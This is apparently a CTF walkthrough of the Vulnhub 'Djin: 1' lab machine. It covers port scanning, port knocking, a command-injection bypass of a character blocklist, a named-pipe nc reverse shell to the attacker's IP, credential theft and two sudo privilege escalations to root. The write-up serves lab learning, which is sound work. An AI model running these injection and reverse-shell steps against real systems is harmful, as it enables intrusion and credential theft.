writeups

Write-ups

View on GitHub
27 November 2019

Djin1 Writeup

by n0khodsia


Vulnhub's Djin: 1

CTF By 0xmzfr
Walkthrough By n0khodsia


LAUNCH

For this CTF I’ll use Kali Linux on VMWare.
After launching the Djin VM, the following screen pops off, giving us a head-start with the machine’s IP:

On our Kali machine, we match the hostname ctf to the IP:

nano /etc/hosts

27.0.0.1       localhost
127.0.1.1       kali
192.168.1.102   ctf

NMAP

Let’s start by scanning the target:

root@kali:~# nmap -sV -p- ctf
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-27 12:35 EST
Nmap scan report for ctf (192.168.1.102)
Host is up (0.00055s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open      ftp     vsftpd 3.0.3
22/tcp   filtered  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
1337/tcp open      waste?
7331/tcp open      http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
MAC Address: 00:0C:29:3D:F0:FA (VMware)

As we can see, we have 4 different ports: FTP(21), SSH(22), Unknown(1337) and HTTP (7331).

FTP

Let’s try and connect to the FTP server with anonymous username (and no password)

It works, and we have 3 different files message.txt, gamee.txt & creds.txt:

root@kali:~# cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
root@kali:~# cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
root@kali:~# cat creds.txt
nitu:81299

Game on port 1337? let’s check it out.

PORT 1337

Trying to connect to port 1337 with Netcat, gives us the following message:

root@kali:~# nc ctf 1337
  ____                        _____ _                
 / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___
| |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
 \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|


Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(8, '*', 7)
> 100
Wrong answer
root@kali:~# nc ctf 1337
  ____                        _____ _                
 / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___
| |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
 \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|


Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(3, '/', 3)
> 1
(5, '/', 9)
>

This little game will only accept the correct answer to a mathematical equation, and will provide us with another equation if we answer correctly.

It looks like the goal is to create a loop that will recieve and solve equations a thousand times within the same connection.

I have written a script in Bash that receives the equation, strips all the unnecessary characters, solves it and sends it back to the program:

#!/bin/bash
exec 3<>/dev/tcp/ctf/1337                                             #start the connection
prob1=$(head -10 <&3 | awk '/^Answer/ {getline; print}')              #grep the line below 'answer'
prob2=$(echo $prob1 | sed 's|[()'\'',]||g')                           #strip chars from equation
let a="$prob2"                                                        #solve the equation
echo $a >&3                                                           #send the solution back

count=1                                                               #counter for loop
for i in {1..1000}                                                    #repeat loop 1000 times
do
cycle1=$(head -1 <&3)                                                 #receive the next equation
cycle2=$(echo $cycle1 | sed 's|[()'\'',]||g')                         #strip chars from equation
let b="$cycle2"                                                       #solve the equation
echo "$count # Query received: $cycle1 - Math is: $cycle2 = $b"       #verbosity
echo $b >&3                                                           #send the solution back
count=$(expr $count + 1)                                              #add +1 to the loop count
done

head -100 <&3                                                         #after 1000 repeats, show the
                                                                      #first 100 rows of the programs output

After executing my script, we receive the ‘gift’:

996 # Query received: (9, '-', 3) - Math is: 9 - 3 = 6
997 # Query received: (8, '*', 4) - Math is: 8 * 4 = 32
998 # Query received: (8, '/', 9) - Math is: 8 / 9 = 0
999 # Query received: (9, '+', 1) - Math is: 9 + 1 = 10
1000 # Query received: (9, '+', 3) - Math is: 9 + 3 = 12
Here is your gift, I hope you know what to do with it:

1356, 6784, 3409

This combination of numbers had me confused at first, until I realised it’s a port knocking sequence!

Port Knocking

Now we try port knocking with the sequence we received:

root@kali:~# knock -v ctf 1356, 6784, 3409
hitting tcp 192.168.1.102:1356
hitting tcp 192.168.1.102:6784
hitting tcp 192.168.1.102:3409

Followed by another full port scan to see if anything has changed:

root@kali:~# nmap -sV -p- ctf
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-27 12:39 EST
Nmap scan report for ctf (192.168.1.102)
Host is up (0.00055s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open      ftp     vsftpd 3.0.3
22/tcp   filtered  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
1337/tcp open      waste?
7331/tcp open      http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
MAC Address: 00:0C:29:3D:F0:FA (VMware)

It looks like the port knocking changed the SSH port from filtered to open. I tried every possible combination with the info we got from our 3 FTP files, but had no successful login. So, we move forward on to the HTTP service.

HTTP

Port 7331 offers us a website running with Werkzeug httpd 0.16.0

Trying the regular scans give us no results.
We try to run dirb again, but this time using the huge rockyou.txt password file.

After a couple of minutes, we found that the directory /wish exists on the web-server.
/wish offers us an input that leads to OS command injection:

But theres a catch. Several characters such as . $ / ^ ; are blocked from being sent, so getting a reverse shell feels impossible with these restrictions.

So now we want to perhaps try and view the source code in order to fully understand why certain characters are being blocked. Luckily, the command python -m SimpleHTTPServer 8080 was not blocked, letting us open a web server on port 8080 and see the content it’s files:

App.py (which handles the servers’ requests) had the following piece in it’s source code:

CREDS = "/home/nitish/.dev/creds.txt"

RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]


def validate(cmd):
    if CREDS in cmd and "cat" not in cmd:
        return True

    try:
        for i in RCE:
            for j in cmd:
                if i == j:
                    return False
        return True
    except Exception:
        return False

By reading this we can understand that if we add "/home/nitish/.dev/creds.txt" to our command injection, while not having the cat command at the same time, we will be able to bypass the restrictions we encountered earlier, use all characters and establish a reverse shell.

First of all, we must listen for incoming connections on our Kali machine:

nc -nlvp 7777

Next, we try to establish the reverse shell. %26%26 is the URL encoding for &&, which lets us bypass character blocking because /home/nitish/.dev/creds.txt is technically a part of the command:

POST /wish HTTP/1.1
Host: ctf:7331
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf:7331/wish
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Connection: close
Upgrade-Insecure-Requests: 1

cmd=ls /tmp/backpipe p  %26%26 /home/nitish/.dev/creds.txt

Followed by this command to connect to my nc listener:

cmd=/bin/sh 0</tmp/backpipe | nc 192.168.1.103 443 1>/tmp/backpipe  %26%26 /home/nitish/.dev/creds.txt

Connected successfully as the user www-data:

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.103] from (UNKNOWN) [192.168.1.102] 57234
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let’s have a look at the content of /home/nitish/.dev/creds.txt:

cat /home/nitish/.dev/creds.txt
nitish:p4ssw0rdStr3r0n9

Looks like SSH credentials!

Privilege Escalation

Trying to login to SSH with the credentials above was successful, and we got the user flag:

nitish@djinn:~$ ls
user.txt
nitish@djinn:~$ cat user.txt
10aay8289ptgguy1pvfa73alzusyyx3c

Now let’s check for sudo permissions using sudo -l:

nitish@djinn:~$ sudo -l
Matching Defaults entries for nitish on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie
nitish@djinn:~$ genie
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
genie: error: the following arguments are required: wish

User nitish can run /usr/bin/genie/ with sam’s permissions.
The binary program genie takes different arguments, and does not seem to help us get anything by using it ‘as planned’.

Let’s try and get some info about genie using strings:

nitish@djinn:~$ strings /usr/bin/genie

help
exit
--exec
bash
args
--god
-cmd
/bin/
;*3$"

As we can see, the argument -cmd exists in strings output, but not in the -h(elp) menu within genie. Looks like a hidden argument. Let’s give it a try:

nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd id
my man!!
$ id
uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)

We have escalated into the user sam. Let’s upgrade to /bin/bash and sudo -l as sam:

$ /bin/bash
sam@djinn:~$ sudo -l
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

User sam can run /root/lago/ with root permissions. Looks like another binary program. Let’s execute it:

sam@djinn:~$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:

This one took the most time for me to crack.
Option 2 (Guess the number) gives us the following challenge:

Choose a number between 1 to 100:
Enter your number:

After messing around and trying different methods, i thought of entering ‘num’ instead of a number, in order to confuse the program and create a situation where “num = num”, meaning we technically ‘guessed’ the number. To my surprise, it actually worked:

Choose a number between 1 to 100:
Enter your number: num
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root
lago  proof.sh

We gained root access! let’s try and run proof.sh:

    _                        _             _ _ _
   / \   _ __ ___   __ _ ___(_)_ __   __ _| | | |
  / _ \ | '_ ` _ \ / _` |_  / | '_ \ / _` | | | |
 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/   \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
                                     |___/       
djinn pwned...
__________________________________________________________________________

Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc
Path: /home/sam
Date: Thu Nov 28 04:10:15 IST 2019
Whoami: root
__________________________________________________________________________

By @0xmzfr

Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)

This has been a fun challenge, covering various aspects of cybersecurity.

Thank you so much @0xmzfr for this amazing CTF!



Written by n0khodsia